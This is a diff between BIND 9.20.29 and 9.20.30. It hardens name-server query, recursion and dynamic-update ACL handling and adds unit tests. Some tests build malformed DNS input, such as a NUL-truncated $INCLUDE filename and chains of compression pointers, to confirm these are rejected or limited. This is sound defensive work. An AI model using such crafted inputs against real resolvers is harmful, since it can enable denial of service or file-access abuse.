bind9-9.20.30/lib/ns/client.c --- bind9-9.20.29/lib/ns/client.c 2026-09-11 19:41:01.575332770 +0000 +++ bind9-9.20.30/lib/ns/client.c 2026-10-12 13:12:08.490901686 +0000 @@ -2634,7 +2634,7 @@ ns_server_detach(&manager->sctx); - dns_message_destroypools(&manager->rdspool, &manager->namepool); + dns_message_destroypools(&manager->namepool, &manager->rdspool); isc_mem_putanddetach(&manager->mctx, manager, sizeof(*manager)); } diff -Nru bind9-9.20.29/lib/ns/query.c bind9-9.20.30/lib/ns/query.c --- bind9-9.20.29/lib/ns/query.c 2026-09-11 19:41:01.579332865 +0000 +++ bind9-9.20.30/lib/ns/query.c 2026-10-12 13:12:08.493901750 +0000 @@ -4976,7 +4976,8 @@ dns_clientinfo_init(&ci, client, NULL); dns_clientinfo_setecs(&ci, &client->ecs); - if (WANTDNSSEC(client) && dns_db_iszone(*dbp) && dns_db_issecure(*dbp)) + if (WANTDNSSEC(client) && *dbp != NULL && dns_db_iszone(*dbp) && + dns_db_issecure(*dbp)) { return ISC_R_NOTFOUND; } @@ -5069,10 +5070,12 @@ dns_rdataset_disassociate(&trdataset); } nxrrset: - if (*nodep != NULL) { - dns_db_detachnode(*dbp, nodep); + if (*dbp != NULL) { + if (*nodep != NULL) { + dns_db_detachnode(*dbp, nodep); + } + dns_db_detach(dbp); } - dns_db_detach(dbp); dns_db_attachnode(db, node, nodep); dns_db_attach(db, dbp); dns_db_detachnode(db, &node); @@ -5093,8 +5096,8 @@ dns_dbnode_t *node = NULL; dns_fixedname_t fixed; dns_fixedname_t fixedredirect; - dns_name_t *found, *redirectname; - dns_rdataset_t trdataset; + dns_name_t *found = NULL, *redirectname = NULL, *tname = NULL; + dns_rdataset_t trdataset = DNS_RDATASET_INIT; isc_result_t result; dns_rdatatype_t type; dns_clientinfomethods_t cm; @@ -5113,18 +5116,22 @@ return ISC_R_NOTFOUND; } - if (dns_name_issubdomain(name, client->view->redirectzone)) { + tname = name; + if (tname->length == 0) { + tname = client->query.qname; + } + if (dns_name_issubdomain(tname, client->view->redirectzone)) { return ISC_R_NOTFOUND; } found = dns_fixedname_initname(&fixed); - dns_rdataset_init(&trdataset); dns_clientinfomethods_init(&cm, ns_client_sourceip); dns_clientinfo_init(&ci, client, NULL); dns_clientinfo_setecs(&ci, &client->ecs); - if (WANTDNSSEC(client) && dns_db_iszone(*dbp) && dns_db_issecure(*dbp)) + if (WANTDNSSEC(client) && *dbp != NULL && dns_db_iszone(*dbp) && + dns_db_issecure(*dbp)) { return ISC_R_NOTFOUND; } @@ -5257,16 +5264,18 @@ dns_rdataset_disassociate(&trdataset); } nxrrset: - if (*nodep != NULL) { - dns_db_detachnode(*dbp, nodep); + if (*dbp != NULL) { + if (*nodep != NULL) { + dns_db_detachnode(*dbp, nodep); + } + dns_db_detach(dbp); } - dns_db_detach(dbp); dns_db_attachnode(db, node, nodep); dns_db_attach(db, dbp); dns_db_detachnode(db, &node); dns_db_detach(&db); - *is_zonep = is_zone; *versionp = version; + *is_zonep = is_zone; client->query.attributes |= (NS_QUERYATTR_NOAUTHORITY | NS_QUERYATTR_NOADDITIONAL); @@ -5528,11 +5537,13 @@ static void root_key_sentinel_detect(query_ctx_t *qctx) { const char *ndata = (const char *)qctx->client->query.qname->ndata; + const char *keyid = NULL; if (qctx->client->query.qname->length > 30 && ndata[0] == 29 && - strncasecmp(ndata + 1, "root-key-sentinel-is-ta-", 24) == 0) + (keyid = isc_string_casestripprefix(ndata + 1, "root-key-sentinel-" + "is-ta-")) != NULL) { - if (!get_root_key_sentinel_id(qctx, ndata + 25)) { + if (!get_root_key_sentinel_id(qctx, keyid)) { return; } qctx->client->query.root_key_sentinel_is_ta = true; @@ -5545,9 +5556,10 @@ NS_LOGMODULE_QUERY, ISC_LOG_INFO, "root-key-sentinel-is-ta query label found"); } else if (qctx->client->query.qname->length > 31 && ndata[0] == 30 && - strncasecmp(ndata + 1, "root-key-sentinel-not-ta-", 25) == 0) + (keyid = isc_string_casestripprefix( + ndata + 1, "root-key-sentinel-not-ta-")) != NULL) { - if (!get_root_key_sentinel_id(qctx, ndata + 26)) { + if (!get_root_key_sentinel_id(qctx, keyid)) { return; } qctx->client->query.root_key_sentinel_not_ta = true; @@ -6144,8 +6156,16 @@ /* * We are resuming from recursion. Reset any attributes, options * that a lookup due to stale-answer-client-timeout may have set. - */ - if (client->view->cachedb != NULL && client->view->recursion) { + * + * We still check whether the client has requested and is allowed + * recursion before resetting 'recursionok' to true, because the + * current fetch might have originated e.g. by RPZ even with RD=0. + */ + if (client->view->cachedb != NULL && client->view->recursion && + (client->attributes & NS_CLIENTATTR_RA) != 0 && + client->message != NULL && + (client->message->flags & DNS_MESSAGEFLAG_RD) != 0) + { client->query.attributes |= NS_QUERYATTR_RECURSIONOK; } client->query.dboptions &= ~DNS_DBFIND_STALETIMEOUT; @@ -9457,6 +9477,7 @@ case DNS_R_NXRRSET: qctx->redirected = true; qctx->is_zone = true; + qctx->client->message->flags &= ~DNS_MESSAGEFLAG_AD; return query_nodata(qctx, DNS_R_NXRRSET); case DNS_R_NCACHENXRRSET: qctx->redirected = true; @@ -9493,6 +9514,7 @@ case DNS_R_NXRRSET: qctx->redirected = true; qctx->is_zone = true; + qctx->client->message->flags &= ~DNS_MESSAGEFLAG_AD; return query_nodata(qctx, DNS_R_NXRRSET); case DNS_R_NCACHENXRRSET: qctx->redirected = true; diff -Nru bind9-9.20.29/lib/ns/update.c bind9-9.20.30/lib/ns/update.c --- bind9-9.20.29/lib/ns/update.c 2026-09-11 19:41:01.579332865 +0000 +++ bind9-9.20.30/lib/ns/update.c 2026-10-12 13:12:08.494901772 +0000 @@ -317,37 +317,52 @@ * log a error otherwise we log a informational message. */ static isc_result_t -checkqueryacl(ns_client_t *client, dns_acl_t *queryacl, dns_name_t *zonename, - dns_acl_t *updateacl, dns_ssutable_t *ssutable) { +checkqueryacl(ns_client_t *client, dns_name_t *zonename, dns_acl_t *queryacl, + dns_acl_t *queryonacl, dns_acl_t *updateacl, + dns_ssutable_t *ssutable) { isc_result_t result; char namebuf[DNS_NAME_FORMATSIZE]; char classbuf[DNS_RDATACLASS_FORMATSIZE]; bool update_possible = ((updateacl != NULL && !dns_acl_isnone(updateacl)) || ssutable != NULL); + int level = update_possible ? ISC_LOG_ERROR : ISC_LOG_INFO; - result = ns_client_checkaclsilent(client, NULL, queryacl, true); - if (result != ISC_R_SUCCESS) { - int level = update_possible ? ISC_LOG_ERROR : ISC_LOG_INFO; - + if (isc_log_wouldlog(ns_lctx, level)) { dns_name_format(zonename, namebuf, sizeof(namebuf)); dns_rdataclass_format(client->view->rdclass, classbuf, sizeof(classbuf)); + } + result = ns_client_checkaclsilent(client, NULL, queryacl, true); + if (result != ISC_R_SUCCESS) { ns_client_log(client, NS_LOGCATEGORY_UPDATE_SECURITY, NS_LOGMODULE_UPDATE, level, "update '%s/%s' denied due to allow-query", namebuf, classbuf); - } else if (!update_possible) { - dns_name_format(zonename, namebuf, sizeof(namebuf)); - dns_rdataclass_format(client->view->rdclass, classbuf, - sizeof(classbuf)); + dns_ede_add(&client->edectx, DNS_EDE_PROHIBITED, NULL); + return result; + } + + result = ns_client_checkaclsilent(client, &client->destaddr, queryonacl, + true); + if (result != ISC_R_SUCCESS) { + ns_client_log(client, NS_LOGCATEGORY_UPDATE_SECURITY, + NS_LOGMODULE_UPDATE, level, + "update '%s/%s' denied due to allow-query-on", + namebuf, classbuf); + dns_ede_add(&client->edectx, DNS_EDE_PROHIBITED, NULL); + return result; + } + if (!update_possible) { result = DNS_R_REFUSED; ns_client_log(client, NS_LOGCATEGORY_UPDATE_SECURITY, NS_LOGMODULE_UPDATE, ISC_LOG_INFO, "update '%s/%s' denied", namebuf, classbuf); + dns_ede_add(&client->edectx, DNS_EDE_PROHIBITED, NULL); } + return result; } @@ -407,47 +422,6 @@ } /*% - * Update a single RR in version 'ver' of 'db' and log the - * update in 'diff'. - * - * Ensures: - * \li '*tuple' == NULL. Either the tuple is freed, or its - * ownership has been transferred to the diff. - */ -static isc_result_t -do_one_tuple(dns_difftuple_t **tuple, dns_db_t *db, dns_dbversion_t *ver, - dns_diff_t *diff) { - dns_diff_t temp_diff; - isc_result_t result; - - /* - * Create a singleton diff. - */ - dns_diff_init(diff->mctx, &temp_diff); - ISC_LIST_APPEND(temp_diff.tuples, *tuple, link); - - /* - * Apply it to the database. - */ - result = dns_diff_apply(&temp_diff, db, ver); - ISC_LIST_UNLINK(temp_diff.tuples, *tuple, link); - if (result != ISC_R_SUCCESS) { - dns_difftuple_free(tuple); - return result; - } - - /* - * Merge it into the current pending journal entry. - */ - dns_diff_appendminimal(diff, tuple); - - /* - * Do not clear temp_diff. - */ - return ISC_R_SUCCESS; -} - -/*% * Perform the updates in 'updates' in version 'ver' of 'db' and log the * update in 'diff'. * @@ -458,10 +432,11 @@ do_diff(dns_diff_t *updates, dns_db_t *db, dns_dbversion_t *ver, dns_diff_t *diff) { isc_result_t result; - while (!ISC_LIST_EMPTY(updates->tuples)) { - dns_difftuple_t *t = ISC_LIST_HEAD(updates->tuples); - ISC_LIST_UNLINK(updates->tuples, t, link); - CHECK(do_one_tuple(&t, db, ver, diff)); + dns_difftuple_t *t, *next; + + ISC_LIST_FOREACH_SAFE(updates->tuples, t, link, next) { + dns_diff_unlink(updates, t); + CHECK(dns_diff_applytuple(&t, db, ver, diff)); } return ISC_R_SUCCESS; @@ -480,7 +455,7 @@ if (result != ISC_R_SUCCESS) { return result; } - return do_one_tuple(&tuple, db, ver, diff); + return dns_diff_applytuple(&tuple, db, ver, diff); } /**************************************************************************/ @@ -1029,7 +1004,7 @@ REQUIRE(DNS_DIFF_VALID(diff)); CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_EXISTS, name, 0, rdata, &tuple)); - ISC_LIST_APPEND(diff->tuples, tuple, link); + dns_diff_append(diff, &tuple); cleanup: return result; } @@ -1191,8 +1166,8 @@ t->rdata.type == type) { dns_difftuple_t *next = ISC_LIST_NEXT(t, link); - ISC_LIST_UNLINK(temp->tuples, t, link); - ISC_LIST_APPEND(u_rrs.tuples, t, link); + dns_diff_unlink(temp, t); + dns_diff_append(&u_rrs, &t); t = next; } @@ -1205,8 +1180,8 @@ * them yet because "name" still points into one * of them. Move them on a temporary list. */ - ISC_LIST_APPENDLIST(trash.tuples, u_rrs.tuples, link); - ISC_LIST_APPENDLIST(trash.tuples, d_rrs.tuples, link); + dns_diff_appendlist(&trash, &u_rrs); + dns_diff_appendlist(&trash, &d_rrs); dns_rdataset_disassociate(&rdataset); continue; @@ -1595,8 +1570,8 @@ serial = dns_soa_getserial(&addtuple->rdata); serial = dns_update_soaserial(serial, method, NULL); dns_soa_setserial(serial, &addtuple->rdata); - CHECK(do_one_tuple(&deltuple, db, ver, diff)); - CHECK(do_one_tuple(&addtuple, db, ver, diff)); + CHECK(dns_diff_applytuple(&deltuple, db, ver, diff)); + CHECK(dns_diff_applytuple(&addtuple, db, ver, diff)); result = ISC_R_SUCCESS; cleanup: @@ -1688,8 +1663,9 @@ * so check that we are allowed to query this zone. Additionally, * if we would refuse all updates for this zone, we bail out here. */ - CHECK(checkqueryacl(client, dns_zone_getqueryacl(zone), - dns_zone_getorigin(zone), + CHECK(checkqueryacl(client, dns_zone_getorigin(zone), + dns_zone_getqueryacl(zone), + dns_zone_getqueryonacl(zone), dns_zone_getupdateacl(zone), ssutable)); /* @@ -2081,7 +2057,7 @@ dns_diff_t *diff) { isc_result_t result; bool ns_exists; - dns_difftuple_t *tuple; + dns_difftuple_t *tuple, *next; dns_diff_t temp_diff; dns_diff_init(diff->mctx, &temp_diff); @@ -2109,10 +2085,8 @@ result = ISC_R_SUCCESS; cleanup: - for (tuple = ISC_LIST_HEAD(temp_diff.tuples); tuple != NULL; - tuple = ISC_LIST_HEAD(temp_diff.tuples)) - { - ISC_LIST_UNLINK(temp_diff.tuples, tuple, link); + ISC_LIST_FOREACH_SAFE(temp_diff.tuples, tuple, link, next) { + dns_diff_unlink(&temp_diff, tuple); dns_diff_appendminimal(diff, &tuple); } return result; @@ -2438,8 +2412,8 @@ { continue; } - ISC_LIST_UNLINK(diff->tuples, tuple, link); - ISC_LIST_APPEND(temp_diff.tuples, tuple, link); + dns_diff_unlink(diff, tuple); + dns_diff_append(&temp_diff, &tuple); } /* @@ -2450,6 +2424,8 @@ tuple = next) { if (tuple->op == DNS_DIFFOP_ADD) { + bool found = false; + if (!ttl_good) { /* * Any adds here will contain the final @@ -2471,10 +2447,11 @@ !memcmp(next_data, tuple_data, next->rdata.length)) { - ISC_LIST_UNLINK(temp_diff.tuples, next, - link); - ISC_LIST_APPEND(diff->tuples, next, - link); + dns_difftuple_t *match = next; + + found = true; + dns_diff_unlink(&temp_diff, next); + dns_diff_append(diff, &match); break; } next = ISC_LIST_NEXT(next, link); @@ -2483,7 +2460,7 @@ * If we have not found a pair move onto the next * tuple. */ - if (next == NULL) { + if (!found) { next = ISC_LIST_NEXT(tuple, link); continue; } @@ -2492,8 +2469,8 @@ * unlinking then complete moving the pair to 'diff'. */ next = ISC_LIST_NEXT(tuple, link); - ISC_LIST_UNLINK(temp_diff.tuples, tuple, link); - ISC_LIST_APPEND(diff->tuples, tuple, link); + dns_diff_unlink(&temp_diff, tuple); + dns_diff_append(diff, &tuple); } else { next = ISC_LIST_NEXT(tuple, link); } @@ -2524,8 +2501,8 @@ : DNS_DIFFOP_DEL; CHECK(dns_difftuple_create(diff->mctx, op, name, ttl, &tuple->rdata, &newtuple)); - CHECK(do_one_tuple(&newtuple, db, ver, diff)); - ISC_LIST_UNLINK(temp_diff.tuples, tuple, link); + CHECK(dns_diff_applytuple(&newtuple, db, ver, diff)); + dns_diff_unlink(&temp_diff, tuple); dns_diff_appendminimal(diff, &tuple); } } @@ -2570,8 +2547,8 @@ next = ISC_LIST_NEXT(next, link); continue; } - ISC_LIST_UNLINK(temp_diff.tuples, next, link); - ISC_LIST_APPEND(diff->tuples, next, link); + dns_diff_unlink(&temp_diff, next); + dns_diff_append(diff, &next); next = ISC_LIST_HEAD(temp_diff.tuples); } @@ -2606,7 +2583,8 @@ CHECK(dns_difftuple_create( diff->mctx, DNS_DIFFOP_ADD, name, 0, &rdata, &newtuple)); - CHECK(do_one_tuple(&newtuple, db, ver, diff)); + CHECK(dns_diff_applytuple(&newtuple, db, ver, + diff)); } /* @@ -2621,7 +2599,8 @@ CHECK(dns_difftuple_create( diff->mctx, DNS_DIFFOP_DEL, name, 0, &rdata, &newtuple)); - CHECK(do_one_tuple(&newtuple, db, ver, diff)); + CHECK(dns_diff_applytuple(&newtuple, db, ver, + diff)); } /* @@ -2632,8 +2611,8 @@ CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_DEL, name, ttl, &tuple->rdata, &newtuple)); - CHECK(do_one_tuple(&newtuple, db, ver, diff)); - ISC_LIST_UNLINK(temp_diff.tuples, tuple, link); + CHECK(dns_diff_applytuple(&newtuple, db, ver, diff)); + dns_diff_unlink(&temp_diff, tuple); dns_diff_appendminimal(diff, &tuple); dns_rdata_reset(&rdata); } else { @@ -2664,12 +2643,12 @@ if (!flag) { CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_ADD, name, 0, &rdata, &newtuple)); - CHECK(do_one_tuple(&newtuple, db, ver, diff)); + CHECK(dns_diff_applytuple(&newtuple, db, ver, diff)); } CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_ADD, name, ttl, &tuple->rdata, &newtuple)); - CHECK(do_one_tuple(&newtuple, db, ver, diff)); - ISC_LIST_UNLINK(temp_diff.tuples, tuple, link); + CHECK(dns_diff_applytuple(&newtuple, db, ver, diff)); + dns_diff_unlink(&temp_diff, tuple); dns_diff_appendminimal(diff, &tuple); dns_rdata_reset(&rdata); } @@ -2718,8 +2697,8 @@ continue; } - ISC_LIST_UNLINK(diff->tuples, tuple, link); - ISC_LIST_PREPEND(temp_diff.tuples, tuple, link); + dns_diff_unlink(diff, tuple); + dns_diff_prepend(&temp_diff, &tuple); } /* @@ -2730,7 +2709,7 @@ : DNS_DIFFOP_DEL; CHECK(dns_difftuple_create(mctx, op, name, tuple->ttl, &tuple->rdata, &newtuple)); - CHECK(do_one_tuple(&newtuple, db, ver, &temp_diff)); + CHECK(dns_diff_applytuple(&newtuple, db, ver, &temp_diff)); } result = ISC_R_SUCCESS; diff -Nru bind9-9.20.29/srcid bind9-9.20.30/srcid --- bind9-9.20.29/srcid 2026-09-11 19:43:34.181022895 +0000 +++ bind9-9.20.30/srcid 2026-10-12 13:14:52.337156221 +0000 @@ -1 +1 @@ -c3d4465 +769c3fb diff -Nru bind9-9.20.29/tests/bench/dns_name_fromwire.c bind9-9.20.30/tests/bench/dns_name_fromwire.c --- bind9-9.20.29/tests/bench/dns_name_fromwire.c 2026-09-11 19:41:01.582332937 +0000 +++ bind9-9.20.30/tests/bench/dns_name_fromwire.c 2026-10-12 13:12:08.497901836 +0000 @@ -32,16 +32,18 @@ isc_result_t result; dns_fixedname_t fixed; dns_name_t *name = dns_fixedname_initname(&fixed); - dns_decompress_t dctx = DNS_DECOMPRESS_PERMITTED; isc_buffer_t buf; uint32_t count = 0; + dns_decompress_t dctx = DNS_DECOMPRESS_INITIALIZER; + + dns_decompress_setpermitted(&dctx, true); isc_buffer_constinit(&buf, data, size); isc_buffer_add(&buf, size); isc_buffer_setactive(&buf, size); while (isc_buffer_consumedlength(&buf) < size) { - result = old_name_fromwire(name, &buf, dctx, 0, NULL); + result = old_name_fromwire(name, &buf, &dctx, 0, NULL); if (result != ISC_R_SUCCESS) { isc_buffer_forward(&buf, 1); } @@ -55,16 +57,18 @@ isc_result_t result; dns_fixedname_t fixed; dns_name_t *name = dns_fixedname_initname(&fixed); - dns_decompress_t dctx = DNS_DECOMPRESS_PERMITTED; isc_buffer_t buf; uint32_t count = 0; + dns_decompress_t dctx = DNS_DECOMPRESS_INITIALIZER; + + dns_decompress_setpermitted(&dctx, true); isc_buffer_constinit(&buf, data, size); isc_buffer_add(&buf, size); isc_buffer_setactive(&buf, size); while (isc_buffer_consumedlength(&buf) < size) { - result = dns_name_fromwire(name, &buf, dctx, NULL); + result = dns_name_fromwire(name, &buf, &dctx, NULL); if (result != ISC_R_SUCCESS) { isc_buffer_forward(&buf, 1); } diff -Nru bind9-9.20.29/tests/dns/master_test.c bind9-9.20.30/tests/dns/master_test.c --- bind9-9.20.29/tests/dns/master_test.c 2026-09-11 19:41:01.729336457 +0000 +++ bind9-9.20.30/tests/dns/master_test.c 2026-10-12 13:12:08.642904936 +0000 @@ -202,6 +202,30 @@ } /* + * Embedded NUL in a quoted string test: + * dns_master_loadbuffer() rejects a NUL byte embedded in a quoted + * token with DNS_R_SYNTAX instead of silently truncating it -- the + * $INCLUDE filename "a\0b" must not be opened as "a". + */ +ISC_RUN_TEST_IMPL(nulbyte_quoted) { + isc_result_t result; + isc_buffer_t source; + unsigned char data[] = "$INCLUDE \"a\0b\"\n"; + + UNUSED(state); + + result = setup_master(nullmsg, nullmsg); + assert_int_equal(result, ISC_R_SUCCESS); + + isc_buffer_init(&source, data, sizeof(data) - 1); + isc_buffer_add(&source, sizeof(data) - 1); + + result = dns_master_loadbuffer(&source, &dns_origin, &dns_origin, + dns_rdataclass_in, 0, &callbacks, mctx); + assert_int_equal(result, DNS_R_SYNTAX); +} + +/* * Unexpected end of file test: * dns_master_loadfile() returns DNS_R_UNEXPECTED when file ends too soon */ @@ -585,6 +609,7 @@ ISC_TEST_LIST_START ISC_TEST_ENTRY(load) ISC_TEST_ENTRY(nulbyte) +ISC_TEST_ENTRY(nulbyte_quoted) ISC_TEST_ENTRY(unexpected) ISC_TEST_ENTRY(noowner) ISC_TEST_ENTRY(nottl) diff -Nru bind9-9.20.29/tests/dns/message_test.c bind9-9.20.30/tests/dns/message_test.c --- bind9-9.20.29/tests/dns/message_test.c 2026-09-11 19:41:01.729336457 +0000 +++ bind9-9.20.30/tests/dns/message_test.c 2026-10-12 13:12:08.642904936 +0000 @@ -211,9 +211,49 @@ dns_message_detach(&msg); } +/* + * Ordinary compressed MX records fill several scratch buffers. Retrying a + * name or RDATA in a fresh buffer must only charge its pointers once. + */ +ISC_RUN_TEST_IMPL(parse_decompression_retry) { + unsigned char wirebuf[4096]; + isc_buffer_t wire; + dns_message_t *msg = NULL; + const unsigned int records = 100; + isc_result_t result; + + isc_buffer_init(&wire, wirebuf, sizeof(wirebuf)); + put_header(&wire, records, 0); + put_question(&wire, "retry.example.", dns_rdatatype_mx); + for (unsigned int i = 0; i < records; i++) { + isc_buffer_putuint16(&wire, 0xc000 | DNS_MESSAGE_HEADERLEN); + isc_buffer_putuint16(&wire, dns_rdatatype_mx); + isc_buffer_putuint16(&wire, dns_rdataclass_in); + isc_buffer_putuint32(&wire, TTL); + isc_buffer_putuint16(&wire, 4); + isc_buffer_putuint16(&wire, i); + isc_buffer_putuint16(&wire, 0xc000 | DNS_MESSAGE_HEADERLEN); + } + + result = parse(&wire, 0, &msg); + assert_int_equal(result, ISC_R_SUCCESS); + assert_int_equal(msg->dctx.policy, DNS_DECOMPRESS_ALWAYS); + assert_int_equal(dns_decompress_getbudget(&msg->dctx), + 4 * isc_buffer_usedlength(&wire) - 2 * records); + assert_ptr_not_equal(ISC_LIST_HEAD(msg->scratchpad), + ISC_LIST_TAIL(msg->scratchpad)); + assert_int_equal(dns_rdataset_count(get_rdataset( + msg, DNS_SECTION_ANSWER, "retry.example.", + dns_rdatatype_mx)), + records); + + dns_message_detach(&msg); +} + ISC_TEST_LIST_START ISC_TEST_ENTRY(parse_duplicate_singleton) ISC_TEST_ENTRY(parse_conflicting_singleton) +ISC_TEST_ENTRY(parse_decompression_retry) ISC_TEST_LIST_END ISC_TEST_MAIN diff -Nru bind9-9.20.29/tests/dns/name_test.c bind9-9.20.30/tests/dns/name_test.c --- bind9-9.20.29/tests/dns/name_test.c 2026-09-11 19:41:01.729336457 +0000 +++ bind9-9.20.30/tests/dns/name_test.c 2026-10-12 13:12:08.643904958 +0000 @@ -125,7 +125,7 @@ const dns_name_t *name3, unsigned char *compressed, unsigned int compressed_length, unsigned char *expanded, unsigned int expanded_length, dns_compress_t *cctx, - dns_decompress_t dctx, bool rdata) { + dns_decompress_t *dctx, bool rdata) { isc_buffer_t source; isc_buffer_t target; dns_name_t name; @@ -256,10 +256,11 @@ permitted = false; dns_compress_init(&cctx, mctx, 0); dns_compress_setpermitted(&cctx, permitted); - dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted); + dns_decompress_init(&dctx); + dns_decompress_setpermitted(&dctx, permitted); compress_test(&name1, &name2, &name3, plain, sizeof(plain), plain, - sizeof(plain), &cctx, dctx, true); + sizeof(plain), &cctx, &dctx, true); dns_compress_rollback(&cctx, 0); dns_compress_invalidate(&cctx); @@ -268,10 +269,11 @@ permitted = true; dns_compress_init(&cctx, mctx, 0); dns_compress_setpermitted(&cctx, permitted); - dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted); + dns_decompress_init(&dctx); + dns_decompress_setpermitted(&dctx, permitted); compress_test(&name1, &name2, &name3, compressed, compressed_len, plain, - sizeof(plain), &cctx, dctx, true); + sizeof(plain), &cctx, &dctx, true); dns_compress_rollback(&cctx, 0); dns_compress_invalidate(&cctx); @@ -280,10 +282,11 @@ permitted = false; dns_compress_init(&cctx, mctx, DNS_COMPRESS_DISABLED); dns_compress_setpermitted(&cctx, permitted); - dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted); + dns_decompress_init(&dctx); + dns_decompress_setpermitted(&dctx, permitted); compress_test(&name1, &name2, &name3, plain, sizeof(plain), plain, - sizeof(plain), &cctx, dctx, true); + sizeof(plain), &cctx, &dctx, true); dns_compress_rollback(&cctx, 0); dns_compress_invalidate(&cctx); @@ -292,10 +295,11 @@ permitted = true; dns_compress_init(&cctx, mctx, DNS_COMPRESS_DISABLED); dns_compress_setpermitted(&cctx, permitted); - dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted); + dns_decompress_init(&dctx); + dns_decompress_setpermitted(&dctx, permitted); compress_test(&name1, &name2, &name3, plain, sizeof(plain), plain, - sizeof(plain), &cctx, dctx, true); + sizeof(plain), &cctx, &dctx, true); dns_compress_rollback(&cctx, 0); dns_compress_invalidate(&cctx); @@ -304,11 +308,12 @@ permitted = true; dns_compress_init(&cctx, mctx, 0); dns_compress_setpermitted(&cctx, permitted); - dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted); + dns_decompress_init(&dctx); + dns_decompress_setpermitted(&dctx, permitted); compress_test(&name1, dns_rootname, &name4, root_plain, sizeof(root_plain), root_plain, sizeof(root_plain), &cctx, - dctx, true); + &dctx, true); dns_compress_rollback(&cctx, 0); dns_compress_invalidate(&cctx); @@ -317,10 +322,11 @@ permitted = false; dns_compress_init(&cctx, mctx, 0); dns_compress_setpermitted(&cctx, permitted); - dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted); + dns_decompress_init(&dctx); + dns_decompress_setpermitted(&dctx, permitted); compress_test(&name1, &name2, &name3, plain, sizeof(plain), plain, - sizeof(plain), &cctx, dctx, false); + sizeof(plain), &cctx, &dctx, false); dns_compress_rollback(&cctx, 0); dns_compress_invalidate(&cctx); @@ -329,10 +335,11 @@ permitted = true; dns_compress_init(&cctx, mctx, 0); dns_compress_setpermitted(&cctx, permitted); - dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted); + dns_decompress_init(&dctx); + dns_decompress_setpermitted(&dctx, permitted); compress_test(&name1, &name2, &name3, compressed, compressed_len, plain, - sizeof(plain), &cctx, dctx, false); + sizeof(plain), &cctx, &dctx, false); dns_compress_rollback(&cctx, 0); dns_compress_invalidate(&cctx); @@ -341,10 +348,11 @@ permitted = false; dns_compress_init(&cctx, mctx, DNS_COMPRESS_DISABLED); dns_compress_setpermitted(&cctx, permitted); - dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted); + dns_decompress_init(&dctx); + dns_decompress_setpermitted(&dctx, permitted); compress_test(&name1, &name2, &name3, plain, sizeof(plain), plain, - sizeof(plain), &cctx, dctx, false); + sizeof(plain), &cctx, &dctx, false); dns_compress_rollback(&cctx, 0); dns_compress_invalidate(&cctx); @@ -353,11 +361,12 @@ permitted = true; dns_compress_init(&cctx, mctx, DNS_COMPRESS_DISABLED); dns_compress_setpermitted(&cctx, permitted); - dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted); + dns_decompress_init(&dctx); + dns_decompress_setpermitted(&dctx, permitted); compress_test(&name1, &name2, &name3, disabled_owner, - sizeof(disabled_owner), plain, sizeof(plain), &cctx, dctx, - false); + sizeof(disabled_owner), plain, sizeof(plain), &cctx, + &dctx, false); dns_compress_rollback(&cctx, 0); dns_compress_invalidate(&cctx); @@ -366,11 +375,12 @@ permitted = true; dns_compress_init(&cctx, mctx, 0); dns_compress_setpermitted(&cctx, permitted); - dctx = dns_decompress_setpermitted(DNS_DECOMPRESS_DEFAULT, permitted); + dns_decompress_init(&dctx); + dns_decompress_setpermitted(&dctx, permitted); compress_test(&name1, dns_rootname, &name4, root_plain, sizeof(root_plain), root_plain, sizeof(root_plain), &cctx, - dctx, false); + &dctx, false); dns_compress_rollback(&cctx, 0); dns_compress_invalidate(&cctx); @@ -536,14 +546,298 @@ * as the active region has been set to cover only the first * two. */ - result = dns_name_fromwire(name, &b, DNS_DECOMPRESS_NEVER, NULL); + result = dns_name_fromwire(name, &b, NULL, NULL); assert_int_equal(result, ISC_R_SUCCESS); - result = dns_name_fromwire(name, &b, DNS_DECOMPRESS_NEVER, NULL); + result = dns_name_fromwire(name, &b, NULL, NULL); assert_int_equal(result, ISC_R_SUCCESS); - result = dns_name_fromwire(name, &b, DNS_DECOMPRESS_NEVER, NULL); + result = dns_name_fromwire(name, &b, NULL, NULL); assert_int_not_equal(result, ISC_R_SUCCESS); } +/* + * Lay out a chain of compression pointers in 'buf', ending with a name + * that is a single pointer into it, and return the total wire length. + * '*name_offset' receives the offset that name starts at. + * + * The chain terminates at a root label at offset zero and each node points + * at the node before it, so decompressing the name follows exactly + * 'follows' pointers. A labelled chain puts a one octet label in front of + * every pointer, the way a conforming encoder's output does, so the name + * gains a label per hop; an unlabelled chain is pointers only and always + * decompresses to the root. + */ +static size_t +build_ptr_chain(uint8_t *buf, size_t size, unsigned int follows, bool labelled, + size_t *name_offset) { + unsigned int nodes = follows - 1; + size_t stride = labelled ? 4 : 2; + size_t target; + size_t p = 0; + + REQUIRE(follows > 0); + REQUIRE(1 + stride * nodes + 2 <= size); + + buf[p++] = 0x00; + + for (unsigned int node = 0; node < nodes; node++) { + target = (node == 0) ? 0 : 1 + stride * (node - 1); + if (labelled) { + buf[p++] = 1; + buf[p++] = 'a'; + } + buf[p++] = 0xC0 | (target >> 8); + buf[p++] = target & 0xFF; + } + + *name_offset = p; + target = (nodes == 0) ? 0 : 1 + stride * (nodes - 1); + buf[p++] = 0xC0 | (target >> 8); + buf[p++] = target & 0xFF; + + return p; +} + +static isc_result_t +fromwire_ptr_chain(dns_name_t *name, uint8_t *buf, size_t size, + unsigned int follows, bool labelled, + dns_decompress_t *dctx) { + isc_buffer_t b; + size_t name_offset; + size_t len = build_ptr_chain(buf, size, follows, labelled, + &name_offset); + + isc_buffer_init(&b, buf, len); + isc_buffer_add(&b, len); + isc_buffer_forward(&b, name_offset); + isc_buffer_setactive(&b, len - name_offset); + + return dns_name_fromwire(name, &b, dctx, NULL); +} + +/* the hop limit must admit the longest name a conforming encoder can emit */ 